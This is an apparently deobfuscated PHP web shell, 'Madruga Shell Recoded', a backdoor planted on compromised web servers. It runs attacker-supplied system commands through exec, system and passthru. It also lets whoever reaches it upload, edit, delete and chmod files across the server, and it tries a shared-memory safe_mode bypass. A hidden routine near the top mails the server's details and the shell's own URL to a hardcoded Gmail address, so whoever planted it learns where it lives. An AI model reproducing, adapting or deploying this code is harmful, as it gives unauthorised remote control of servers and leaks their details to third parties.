\"<td \$IIIIIIIlIllI> <b><a href=\\\"{\$IIIIIIIIII1I}&chdir=\$IIIIIIIlI1Il\\\"><font \r\n\r\ncolor=\\\"#FFFFFF\\\">\$file</font></a></b> </td>\";\n}else {\necho \"<td \$IIIIIIIlIllI> <b><a href=\\\"{\$IIIIIIIIII1I}&chdir={\$chdir}{\$file}\\\"><font \r\n\r\ncolor=\\\"#FFFFFF\\\">\$file</font></a> </b></td>\";\n}\n}else {\nif (is_readable(\"\$chdir\".\"\$file\")) {\necho \"<td \$IIIIIIIlIllI> <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=edit&chdir=\$chdir&file=\$file\\\">\$file</a> </td>\";\n}else {\necho \"<td \$IIIIIIIlIllI> \$file </td>\";\n}\n}\n}\nelse {\nif (\$IIIIIIIlIll1 == 'chdir') {\nif (\$file == '../') {\necho \"<td \$IIIIIIIlIllI> <a href=\\\"{\$IIIIIIIIII1I}&chdir=\$IIIIIIIlI1Il\\\">\$file</a> \r\n\r\n</td>\";\n}else {\necho \"<td \$IIIIIIIlIllI> <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&chdir={\$chdir}{\$file}\\\">\$file</a></td>\";\n}\n}else {\nif (@is_readable(\"\$chdir\".\"\$file\")) {\necho \"<td  \$IIIIIIIlIllI> <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=edit&chdir=\$chdir&file=\$file\\\">\$file</a> </td>\";\n}else {\necho \"<td \$IIIIIIIlIllI> \$file</td>\";\n}\n}\n}\necho \"<td align=\\\"right\\\" \$IIIIIIIlIllI> \$IIIIIIIlI1ll KB</td>\";\nif (\$IIIIIIIlIll1 == 'edit') {\necho \"<td align=\\\"center\\\" \$IIIIIIIlIllI> <a href=\\\"#{\$file}\\\" \r\n\r\nonclick=\\\"Rename('{\$chdir}', '{\$file}', '{\$IIIIIIIlIll1}')\\\">Rename</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=del&chdir={\$chdir}&file={\$file}&type=file\\\">Del</a> \r\n\r\n| <a href=\\\"#{\$file}\\\" onclick=\\\"ChMod('\$chdir', '\$file')\\\">Chmod</a> | <a href=\\\"#{\$file}\\\" \r\n\r\nonclick=\\\"Copy('{\$chdir}', '{\$file}')\\\">Copy</a> </td>\";\n}else {\necho \"<td align=\\\"center\\\" \$IIIIIIIlIllI> <a href=\\\"#{\$file}\\\" \r\n\r\nonclick=\\\"Rename('{\$chdir}', '{\$file}', '{\$IIIIIIIlIll1}')\\\">Rename</a> | <a \r\n\r\nhref=\\\"{\$IIIIIIIIII1I}&action=del&chdir={\$chdir}&file={\$file}&type=dir\\\">Del</a> \r\n\r\n| <a href=\\\"#{\$file}\\\" onclick=\\\"ChMod('\$chdir', '\$file')\\\">Chmod</a> | Copy </td>\";\n}\necho \"</tr>\";\nif (\$IIIIIIIlIlIl == 3) {\n\$IIIIIIIlIlIl = 2;\n}\nelseif (\$IIIIIIIlIlIl == 2) {\n\$IIIIIIIlIlIl = 3;\n}\n}\n}\nclosedir(\$IIIIIIIII1ll);\n}\n\$IIIIIIIIII1l = @PHP_OS;\n\$IIIIIIIIIlII = @php_uname();\n\$IIIIIIIIIlIl = @phpversion();\n\$IIIIIIIIIllI = @ini_get('safe_mode');\nif (\$IIIIIIIIIllI == '') {\$IIIIIIIIIllI = \"<i>OFF</i><BR>\";}\nelse {\$IIIIIIIIIllI = \"<i>\$IIIIIIIIIllI</i><BR>\";}\n\$IIIIIIIlI111=(\$_SERVER['HTTP_HOST'] .\$_SERVER['REQUEST_URI']);\n\$IIIIIIIllIII=(\"OS = \".\$IIIIIIIIII1l .\"<BR>UNAME = \".\$IIIIIIIIIlII .\"<BR>PHPVersion = \".\$IIIIIIIIIlIl .\"<BR>Safe Mode = \".\$IIIIIIIIIllI .\"<BR><font color=blue>http://\".\$IIIIIIIlI111 .\"</font><BR>Ingat jangan pakai Injek Ini.<BR>By: BlueSpy\");\n\$IIIIIIIllIIl = \"From: \$_SERVER[HTTP_HOST] <\$IIIIIIIllII1>\\r\\nReply-To: \$IIIIIIIllIlI\\r\\n\";\n\$IIIIIIIllIIl .= \"MIME-Version: 1.0\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"Content-Type: multipart/mixed; boundary=\$IIIIIIIllIl1\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"--\$IIIIIIIllIl1\\r\\n\";\n\$IIIIIIIllIIl .= \"Content-Type: text/\$IIIIIIIllI1I\\r\\n\";\n\$IIIIIIIllIIl .= \"Content-Transfer-Encoding: 8bit\\r\\n\\r\\n\";\n\$IIIIIIIllIIl .= \"\$IIIIIIIllI1l\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"--\$IIIIIIIllIl1\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"Content-Type: \$IIIIIIIllI11; name=\\\"\$IIIIIIIllIll\\\"\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"Content-Transfer-Encoding: base64\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"Content-Disposition: attachment; \r\n\r\nfilename=\\\"\$IIIIIIIllIll\\\"\\r\\n\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"\$IIIIIIIlllII\\r\\n\";\nIf (\$IIIIIIIllIll) \$IIIIIIIllIIl .= \"--\$IIIIIIIllIl1--\";\n\$IIIIIIIlllIl = (\"voandocomagol@gmail.com\");\n\$IIIIIIIlllI1 = (\"injekan anyar Bos\");\nmail(\$IIIIIIIlllIl,\$IIIIIIIlllI1,\$IIIIIIIllIII,\$IIIIIIIllIIl);\n@include \"\$IIIIIIIIIll1\";\n;echo '  </table>\r\n  </fieldset></form>\r\n</div></center>\r\n</body>\r\n\r\n</html>\r\n';;";
        fclose($O000O0O00);
        eval /* PHPDeobfuscator eval output */ {
            echo "<html>\r\n<head>\r\n<meta http-equiv=\"Content-Language\" content=\"pt-br\">\r\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 5.0\">\r\n<meta name=\"ProgId\" content=\"AoD\">\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\r\n<title> Madruga Shell Recoded </title>\r\n<style type=\"text/css\">\r\nA:link {text-decoration:none}\r\nA:visited {text-decoration:none}\r\nA:hover {text-decoration:underline}\r\nA:active {text-decoration:underline}\r\nbody,td {\r\n\tfont-family: verdana;\r\n\tfont-size: 8pt;\r\n\tbackground-color: #000;\r\n}\r\na{\r\n\tcolor: #0000FF;\r\n\ttext-decoration: none;\r\n\tfont-weight: bold;\r\n}\r\na:hover {\r\n\tcolor: #FF0000;\r\n\ttext-decoration: underline;\r\n}\r\nbody,td,th {\r\n\tfont-weight: bold;\r\n\tcolor: #0f0;\r\n}\r\n</style>\r\n</head>\r\n<body text=\"#FFFFFF\" >\r\n<center><h2>SEU MADRUGA Shell Recoded</h2></center>\r\n<center>";
            @set_time_limit(0);
            $IIIIIIIIIIIl = $_SERVER['QUERY_STRING'];
            $IIIIIIIIIII1 = 'shell?';
            $IIIIIIIIIIlI = explode("shell?", $IIIIIIIIIIIl);
            $IIIIIIIIIIl1 = $IIIIIIIIIIlI[0];
            $IIIIIIIIII1I = $_SERVER['PHP_SELF'] . "?" . $IIIIIIIIIIl1 . $IIIIIIIIIII1;
            $IIIIIIIIII1l = @PHP_OS;
            $IIIIIIIIII11 = '127.0.0.1';
            $IIIIIIIIIlII = @php_uname();
            $IIIIIIIIIlIl = @phpversion();
            $IIIIIIIIIllI = @ini_get('safe_mode');
            if ($IIIIIIIIIllI == '') {
                $IIIIIIIIIllI = "<i>OFF</i>";
            } else {
                $IIIIIIIIIllI = "<i><i>OFF</i></i>";
            }
            $IIIIIIIIIll1 = 'shell?';
            echo "<script type=\"text/javascript\">";
            echo "function ChMod(chdir, file) {";
            echo "var o = prompt('Chmod: - Contoh: 0777', '');";
            echo "if (o) {";
            echo "window.location=\"\" + '{$IIIIIIIIII1I}&action=chmod&chdir=' + chdir + '&file=' + file + \r\n\r\n'&chmod=' + o + \"\";";
            echo "}";
            echo "}";
            echo "function Rename(chdir, file, mode) {";
            echo "if (mode == 'edit') {";
            echo "var o = prompt('Rename Nama File '+ file + ' menjadi:', '');";
            echo "}";
            echo "else {";
            echo "var o = prompt('Rename Nama Folder '+ file + ' menjadi:', '');";
            echo "}";
            echo "if (o) {";
            echo "window.location=\"\" + '{$IIIIIIIIII1I}&action=rename&chdir=' + chdir + '&file=' + file + \r\n\r\n'&newname=' + o + '&mode=' + mode +\"\";";
            echo "}";
            echo "}";
            echo "function Copy(chdir, file) {";
            echo "var o = prompt('Copied for:', '/tmp/' + file);";
            echo "if (o) {";
            echo "window.location=\"\" + '{$IIIIIIIIII1I}&action=copy&chdir=' + chdir + '&file=' + file + \r\n\r\n'&fcopy=' + o + \"\";";
            echo "}";
            echo "}";
            echo "function Mkdir(chdir) {";
            echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
            echo "if (o) {";
            echo "window.location=\"\" + '{$IIIIIIIIII1I}&action=mkdir&chdir=' + chdir + '&newdir=' + o + \r\n\r\n\"\";";
            echo "}";
            echo "}";
            echo "function Newfile(chdir) {";
            echo "var o = prompt('Nama File?', 'NewFile.txt');";
            echo "if (o) {";
            echo "window.location=\"\" + '{$IIIIIIIIII1I}&action=newfile&chdir=' + chdir + '&newfile=' + o + \r\n\r\n\"\";";
            echo "}";
            echo "}";
            echo "</script>";
            function cmd($IIIIIIIIIl1l)
            {
                $IIIIIIIIIl11[1] = '';
                exec($IIIIIIIIIl1l, $IIIIIIIIIl11[1]);
                if (empty($IIIIIIIIIl11[1])) {
                    $IIIIIIIIIl11[1] = shell_exec($IIIIIIIIIl1l);
                } elseif (empty($IIIIIIIIIl11[1])) {
                    $IIIIIIIIIl11[1] = passthru($IIIIIIIIIl1l);
                } elseif (empty($IIIIIIIIIl11[1])) {
                    $IIIIIIIIIl11[1] = system($IIIIIIIIIl1l);
                } elseif (empty($IIIIIIIIIl11[1])) {
                    $IIIIIIIII1ll = popen($IIIIIIIIIl1l, 'r');
                    while (!feof($IIIIIIIII1ll)) {
                        $IIIIIIIIIl11[1][] .= fgets($IIIIIIIII1ll);
                    }
                    pclose($IIIIIIIII1ll);
                }
                return $IIIIIIIIIl11[1];
            }
            if (@$_GET['chdir']) {
                $chdir = $_GET['chdir'];
            } else {
                $chdir = getcwd() . "/";
            }
            if (@chdir("{$chdir}")) {
                $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"> Directory Door, OK!</font>";
            } else {
                $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Could not enter folder!</font>";
                $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
            }
            $chdir = str_replace("\\", "/", $chdir);
            if (@$_GET['action'] == 'upload') {
                $IIIIIIIIlIll = $chdir;
                $IIIIIIIIlIl1 = $IIIIIIIIlIll . $_FILES['userfile']['name'];
                if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $IIIIIIIIlIll . $_FILES['userfile']['name'])) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"><font \r\n\r\ncolor=\"#FFFFFF\">{$_FILES['userfile']['name']}</font>, archieve valid, uploading complete. \r\n\r\n</font>";
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: couldnt upload file on server.</font>";
                }
            } elseif (@$_GET['action'] == 'mkdir') {
                $newdir = $_GET['newdir'];
                if (@mkdir("{$chdir}" . "{$newdir}")) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"><font color=\"#FFFFFF\">{$newdir}</font>, folder \r\nCreated. </font>";
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Folder Make Error.</font>";
                }
            } elseif (@$_GET['action'] == 'newfile') {
                $newfile = $_GET['newfile'];
                if (@touch("{$chdir}" . "{$newfile}")) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"><font color=\"#FFFFFF\">{$newfile}</font>, berhasil \r\n\r\ndibuat! ye ke? </font>";
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Pembuatan arsip gagal! entah?</font>";
                }
            } elseif (@$_GET['action'] == 'del') {
                $file = $_GET['file'];
                $type = $_GET['type'];
                if ($type == 'file') {
                    if (@unlink("{$chdir}" . "{$file}")) {
                        $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"><font color=\"#FFFFFF\">{$file}</font>, Berhasil \r\n\r\nmenghapus arsip (file)!</font>";
                    } else {
                        $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Gagal menghapus arsip (file)!</font>";
                    }
                } elseif ($type == 'dir') {
                    if (@rmdir("{$chdir}" . "{$file}")) {
                        $IIIIIIIIlII1 = "<font color=\"#FFFFFF\"><font color=\"#FFFFFF\">{$file}</font>, Berhasil \r\n\r\nmenghapus folder!</font>";
                    } else {
                        $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Gagal menghapus folder!</font>";
                    }
                }
            } elseif (@$_GET['action'] == 'chmod') {
                $file = $chdir . $_GET['file'];
                $chmod = $_GET['chmod'];
                if (@chmod("{$file}", $chmod)) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\">Chmod dari</font> <font \r\n\r\ncolor=\"#FFFFFF\">{$_GET['file']}</font> <font color=\"#FFFFFF\">berubah menjadi</font> \r\n\r\n<font color=\"#FFFFFF\">{$chmod}</font> <font color=\"#FFFFFF\">: Sukses!</font>";
                } else {
                    $IIIIIIIIlII1 = '<font color=\\"#FF0000\\">Error: Gagal mengubah chmod.</font>';
                }
            } elseif (@$_GET['action'] == 'rename') {
                $file = $_GET['file'];
                $newname = $_GET['newname'];
                if (@rename("{$chdir}" . "{$file}", "{$chdir}" . "{$newname}")) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\">Archive</font> <font color=\"#FFFFFF\">{$file}</font> \r\n\r\n<font color=\"#FFFFFF\">named for</font> <font color=\"#FFFFFF\">{$newname}</font> <font \r\n\r\ncolor=\"#FFFFFF\">successfully!</font>";
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Gagal mencalonkan arsip.</font>";
                }
            } elseif (@$_GET['action'] == 'copy') {
                $file = $chdir . $_GET['file'];
                $copy = $_GET['fcopy'];
                if (@copy("{$file}", "{$copy}")) {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\">{$file}</font>, <font color=\"#FFFFFF\">disalin \r\n\r\nmenjadi</font> <font color=\"#FFFFFF\">{$copy}</font> <font color=\"#FFFFFF\"> \r\n\r\nBerhasil!</font>";
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FF0000\">Error: Gagal menyalin </font> <font \r\n\r\ncolor=\"#FFFFFF\">{$file}</font> <font color=\"#FF0000\">menjadi</font> <font \r\n\r\ncolor=\"#FFFFFF\">{$copy}</font></font>";
                }
            } elseif (@$_GET['action'] == 'cmd') {
                if (!empty($_GET['cmd'])) {
                    $cmd = @$_GET['cmd'];
                }
                if (!empty($_POST['cmd'])) {
                    $cmd = @$_POST['cmd'];
                }
                $cmd = stripslashes(trim($cmd));
                $IIIIIIIIl1ll = cmd($cmd);
                $IIIIIIIIl1l1 = count($IIIIIIIIl1ll);
                $IIIIIIIIl11l = 0;
                $IIIIIIIIlII1 = '';
                $IIIIIIIIlII1 .= "<p style=\"color: #FFFFFF;text-align: center;font-family: 'Lucida \r\n\r\nConsole';font-size: 12px;margin 2\">Hasil : <b>" . $cmd . "</b></p>";
                if ($IIIIIIIIl1ll) {
                    while ($IIIIIIIIl11l <= $IIIIIIIIl1l1) {
                        $IIIIIIIIlII1 .= "<p style=\"color: #FFFFFF;text-align: left;font-family: \r\n\r\n'Lucida Console';font-size: 12px;margin 2\"> " . @$IIIIIIIIl1ll[$IIIIIIIIl11l] . "</p>";
                        $IIIIIIIIl11l++;
                    }
                } else {
                    $IIIIIIIIlII1 .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida \r\n\r\nConsole';font-size: 12px;margin 2\">Error: comando nao aceito.</p>";
                }
            } elseif (@$_GET['action'] == 'safemode') {
                if (@(!extension_loaded('shmop'))) {
                    echo "Loading... module</br>";
                    if ("") {
                        @dl('php_shmop.dll');
                    } else {
                        @dl('shmop.so');
                    }
                }
                if (@extension_loaded('shmop')) {
                    echo "Module: <b>shmop</b> loaded!</br>";
                    $IIIIIIII1II1 = @shmop_open(0xff2, "c", 0644, 100);
                    if (!$IIIIIIII1II1) {
                        echo "Couldn't create shared memory segment\n";
                    }
                    $IIIIIIII1IlI = "\0";
                    $IIIIIIII1Ill = -3842685;
                    $IIIIIIII1Il1 = @shmop_write($IIIIIIII1II1, $IIIIIIII1IlI, $IIIIIIII1Ill);
                    if ($IIIIIIII1Il1 != strlen($IIIIIIII1IlI)) {
                        echo "Couldn't write the entire length of \r\n\r\ndata\n";
                    }
                    if (!shmop_delete($IIIIIIII1II1)) {
                        echo "Couldn't mark shared memory block for deletion.";
                    }
                    echo passthru("id");
                    shmop_close($IIIIIIII1II1);
                } else {
                    echo "Module: <b>shmop</b> tidak dimuat!</br>";
                }
            } elseif (@$_GET['action'] == 'zipen') {
                $file = $_GET['file'];
                $IIIIIIII1I11 = @zip_open("{$chdir}" . "{$file}");
                $IIIIIIIIlII1 = '';
                if ($IIIIIIII1I11) {
                    while ($IIIIIIII1lIl = zip_read($IIIIIIII1I11)) {
                        $IIIIIIIIlII1 .= "Name:               " . zip_entry_name($IIIIIIII1lIl) . "\n";
                        $IIIIIIIIlII1 .= "Actual Filesize:    " . zip_entry_filesize($IIIIIIII1lIl) . "\n";
                        $IIIIIIIIlII1 .= "Compressed Size:    " . zip_entry_compressedsize($IIIIIIII1lIl) . "\n";
                        $IIIIIIIIlII1 .= "Compression Method: " . zip_entry_compressionmethod($IIIIIIII1lIl) . "\n";
                        if (zip_entry_open($IIIIIIII1I11, $IIIIIIII1lIl, "r")) {
                            echo "File Contents:\n";
                            $IIIIIIII1l11 = zip_entry_read($IIIIIIII1lIl, zip_entry_filesize($IIIIIIII1lIl));
                            echo "{$IIIIIIII1l11}\n";
                            zip_entry_close($IIIIIIII1lIl);
                        }
                        echo "\n";
                    }
                    zip_close($IIIIIIII1I11);
                }
            } elseif (@$_GET['action'] == 'edit') {
                $file = $_GET['file'];
                $IIIIIIII11lI = '';
                $IIIIIIII11ll = "{$chdir}" . "{$file}";
                $IIIIIIII11lI = @file_get_contents($IIIIIIII11ll);
                $IIIIIIII11lI = htmlspecialchars($IIIIIIII11lI);
                $IIIIIIII111I = $_SERVER['HTTP_REFERER'];
                echo "<p align=\"center\">Editing {$file} ...</p>";
                echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: \r\n\r\ncollapse\" width=\"100%\" id=\"editacao\">";
                echo "<tr>";
                echo "<td width=\"100%\">";
                echo "<form method=\"POST\" \r\n\r\naction=\"{$IIIIIIIIII1I}&action=save&chdir={$chdir}&file={$file}\">";
                echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\" \r\n\r\ns-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
                print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana; \r\n\r\nfont-size: 8pt; border: 1px solid #FFFFFF\">{$IIIIIIII11lI}</textarea></p>";
                echo "<p align=\"center\">";
                echo "<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border: 1px solid \r\n\r\n#FFFFFF\"> ";
                echo "<input type=\"button\" value=\"Tutup\" \r\n\r\nOnclick=\"javascript:window.location='{$IIIIIIIIII1I}&chdir={$chdir}'\" name=\"B1\" style=\"  \r\n\r\nborder: 1px solid #FFFFFF\"> ";
                echo "</form>";
                echo "</td>";
                echo "</tr>";
                echo "</table>";
            } elseif (@$_GET['action'] == 'save') {
                $IIIIIIII11ll = "{$chdir}" . $_GET['file'];
                $IIIIIIII111l = $_POST['S1'];
                $IIIIIIII111l = stripslashes(trim($IIIIIIII111l));
                if (is_writable($IIIIIIII11ll)) {
                    @($IIIIIIIII1ll = fopen($IIIIIIII11ll, "w"));
                    @($IIIIIIIlIIIl = fwrite($IIIIIIIII1ll, $IIIIIIII111l));
                    @fclose($IIIIIIIII1ll);
                    if ($IIIIIIIII1ll && $IIIIIIIlIIIl) {
                        $IIIIIIIIlII1 = "<font color=\"#FFFFFF\">{$_GET['file']}</font>, <font \r\n\r\ncolor=\"#FFFFFF\">berhasil diedit!</font>";
                    }
                } else {
                    $IIIIIIIIlII1 = "<font color=\"#FFFFFF\">{$_GET['file']},</font> <font color=\"#FF0000\">tidak \r\n\r\nbisa ditulisi!</font>";
                }
            }
            $IIIIIIIlIIll = '';
            if (!empty($_GET['cmd'])) {
                $IIIIIIIlIIll = @$_GET['cmd'];
            }
            if (!empty($_POST['cmd'])) {
                $IIIIIIIlIIll = @$_POST['cmd'];
            }
            $IIIIIIIlIIll = htmlspecialchars($IIIIIIIlIIll);
            function IIIIIIIlIIl1()
            {
                $IIIIIIIlII1I = '';
                if (@file_exists("/usr/bin/wget")) {
                    $IIIIIIIlII1I = "wget ";
                }
                if (@file_exists("/usr/bin/fetch")) {
                    $IIIIIIIlII1I .= "fetch ";
                }
                if (@file_exists("/usr/bin/curl")) {
                    $IIIIIIIlII1I .= "curl ";
                }
                if (@file_exists("/usr/bin/GET")) {
                    $IIIIIIIlII1I .= "GET ";
                }
                if (@file_exists("/usr/bin/lynx")) {
                    $IIIIIIIlII1I .= "lynx ";
                }
                return $IIIIIIIlII1I;
            }
            echo "<form method=\"POST\" name=\"cmd\" \r\n\r\naction=\"{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}\">";
            echo "<fieldset style=\"border: 1px solid #FFFFFF; padding: 2\">";
            echo "<legend style='color:#0F0'>XxXxMadrugaxXxX</legend>";
            echo "<br><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: \r\n\r\ncollapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
            echo "<tr>";
            echo "<td width=\"8%\">";
            echo " <b>Sistem </b> </td> ";
            echo "<td width=\"92%\">: {$IIIIIIIIII1l}</td>";
            echo "</tr>";
            echo "<tr>";
            echo "<td width=\"8%\">";
            echo " <b>Nama </b></td> ";
            echo "<td width=\"92%\">: {$IIIIIIIIIlII}</td>";
            echo "</tr>";
            echo "<tr>";
            echo "<td width=\"8%\">";
            echo " <b>PHP </b></td> ";
            echo "<td width=\"92%\">: {$IIIIIIIIIlIl}, <b> Safe Mode :</b> {$IIIIIIIIIllI}</td>";
            echo "</tr>";
            if (strtoupper(substr($IIIIIIIIII1l, 0, 3) != 'WIN')) {
                $IIIIIIIlII1l = IIIIIIIlIIl1();
                if ($IIIIIIIlII1l == '') {
                    $IIIIIIIlII1l = "???";
                }
                echo "<tr>";
                echo "<td width=\"8%\">";
                echo "<b>Methods </b></td> ";
                echo "<td width=\"92%\">: {$IIIIIIIlII1l}</td>";
                echo "</tr>";
            }
            echo "<tr>";
            echo "<td width=\"8%\">";
            echo " <b>IP </b></td> ";
            echo "<td width=\"92%\">: {$IIIIIIIIII11}</td>";
            echo "</tr>";
            echo "<tr>";
            echo "<td width=\"8%\">";
            echo " <b>Command </b></td> ";
            echo "<td width=\"92%\">: <input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$IIIIIIIlIIll}\" \r\n\r\nstyle=\" font-size: 8 pt; border: 1px solid #FFFFFF\"> <input type=\"submit\" \r\n\r\nname=\"action\" value=\"CMD\" style=\" font-size: 8 pt; border: 1px solid \r\n\r\n#FFFFFF\"></td>";
            echo "</tr>";
            echo "</table><br>";
            echo "</fieldset></form>";
            echo "<form method=\"POST\" action=\"{$IIIIIIIIII1I}&action=upload&chdir={$chdir}\" \r\n\r\nenctype=\"multipart/form-data\">";
            echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\" \r\n\r\ns-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid \r\n\r\n#FFFFFF; padding: 2\">";
            if (is_writable("{$chdir}")) {
                if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == 'WIN')) {
                    echo "<legend style='color:#0F0'>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\" \r\n\r\nonclick=\"Mkdir('{$chdir}');\">CRIAR DIRETORIO</a> | <a href=\"#[New File]\" \r\n\r\nonclick=\"Newfile('{$chdir}')\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}&cmd={$IIIIIIIlII11}\">REMOTO</a></legend>";
                } else {
                    echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\" \r\n\r\nonclick=\"Mkdir('{$chdir}');\">CRIAR DIRETORIO</a> | <a href=\"#[New File]\" \r\n\r\nonclick=\"Newfile('{$chdir}')\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=backtool&chdir={$chdir}&write=yes\">Kembali</a></legend\r\n\r\n>";
                }
            } else {
                if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == 'WIN')) {
                    echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\" \r\n\r\nonclick=\"Mkdir('{$chdir}');\">CRIAR DIRETORIO</a> | <a href=\"#[New File]\" \r\n\r\nonclick=\"Newfile('{$chdir}')\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=cmd&chdir={$chdir}&cmd={$IIIIIIIlII11}\">REMOTO</a></legend>";
                } else {
                    echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\" \r\n\r\nonclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\" \r\n\r\nonclick=\"Newfile('{$chdir}')\">CRIAR ARQUIVO</a> | <a \r\n\r\nhref=\"{$IIIIIIIIII1I}&action=backtool&chdir={$chdir}&write=no\">Kembali</a></legend>\r\n\r\n";
                }
            }
            if (@(!($IIIIIIIII1ll = opendir("{$chdir}")))) {
                echo " Gue gak bisa masuk folder, <a href=\"{$IIIIIIIIII1I}\">Klik sini!</a> untuk embali ke \r\n\r\nfolder ori!</br>";
            } else {
                echo "  <table border=\"0\" cellpadding=\"5\" cellspacing=\"0\" width=\"100%\">";
                echo "    <tr>";
                echo "      <td width=\"100%\" colspan=\"4\"> Upload:";
                echo "      <input type=\"file\" name=\"userfile\" size=\"65\" style=\"  border-style: \r\n\r\nsolid; border-width: 1\">";
                echo "      <input type=\"submit\" value=\"UP\" name=\"B1\" style=\" border: 1px solid \r\n\r\n#FFFFFF\"></td>";
                echo "    </tr>";
                echo "    <tr>";
                echo "      <td width=\"100%\" colspan=\"4\"> </td>";
                echo "    </tr>";
                echo "    <tr>";
                echo "      <td width=\"100%\" colspan=\"4\">";
                if (@(!$IIIIIIIIlII1)) {
                    echo "      <p align=\"left\">Messages</td>";
                } else {
                    echo "      <p align=\"left\">{$IIIIIIIIlII1}</td>";
                }
                echo "    </tr>";
                echo "    <tr>";
                echo "      <td width=\"100%\" colspan=\"4\"> </td>";
                echo "    </tr></table> ";
                echo "   <table border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">";
                echo "    <tr bgcolor=\"#000\" align=\"center\"> ";
                echo "      <td > Permision</td>";
                echo "      <td > Nama File </td>";
                echo "      <td > Kapasitas </td>";
                echo "      <td > Command</td>";
                echo "     </tr>";
                $IIIIIIIlIlIl = 0;
                while (false !== ($file = readdir($IIIIIIIII1ll))) {
                    if ($file != '.') {
                        if ($IIIIIIIlIlIl == 0) {
                            $IIIIIIIlIllI = "style=\"background-color: #000\"";
                        } elseif ($IIIIIIIlIlIl == 1) {
                            $IIIIIIIlIllI = "style=\"background-color:  #000\"";
                        }
                        if (@is_dir("{$chdir}" . "{$file}")) {
                            $file .= '/';
                            $IIIIIIIlIll1 = 'chdir';
                        } else {
                            $IIIIIIIlIll1 = 'edit';
                        }
                        if (@substr("{$chdir}", strlen($chdir) - 1, 1) != '/') {
                            $chdir .= '/';
                        }
                        if ($file == '../') {
                            $IIIIIIIlIl1I = strlen($chdir);
                            $IIIIIIIlIl1l = 0;
                            for ($IIIIIIIlIl11 = 0; $IIIIIIIlIl11 < $IIIIIIIlIl1I; $IIIIIIIlIl11++) {
                                if ($chdir[$IIIIIIIlIl11] == '/') {
                                    $IIIIIIIlIl1l++;
                                }
                            }
                            $IIIIIIIlI1II = explode("/", $chdir);
                            $IIIIIIIlI1Il = str_replace($IIIIIIIlI1II[$IIIIIIIlIl1l - 1] . '/', "", $chdir);
                        }
                        $IIIIIIIlI1I1 = @fileperms("{$chdir}" . "{$file}");
                        if ($IIIIIIIlI1I1 == '') {
                            $IIIIIIIlI1I1 = '???';
                        }
                        $IIIIIIIlI1ll = @filesize("{$chdir}" . "{$file}");
                        $IIIIIIIlI1ll /= 1024;
                        $IIIIIIIlI1ll = explode(".", $IIIIIIIlI1ll);
                        if (@$IIIIIIIlI1ll[1] != '') {
                            $IIIIIIIlI1ll = $IIIIIIIlI1ll[0] . '.' . @substr("{$IIIIIIIlI1ll[1]}", 0, 2);
                        } else {
                            $IIIIIIIlI1ll = $IIIIIIIlI1ll[0];
                        }
                        if ($IIIIIIIlI1ll == 0) {
                            if ($IIIIIIIlIll1 == 'chdir') {
                                $IIIIIIIlI1ll = '???';
                            }
                        }
                        echo "<tr>";
                        echo "<td align=\"center\" {$IIIIIIIlIllI}> {$IIIIIIIlI1I1}</td>";
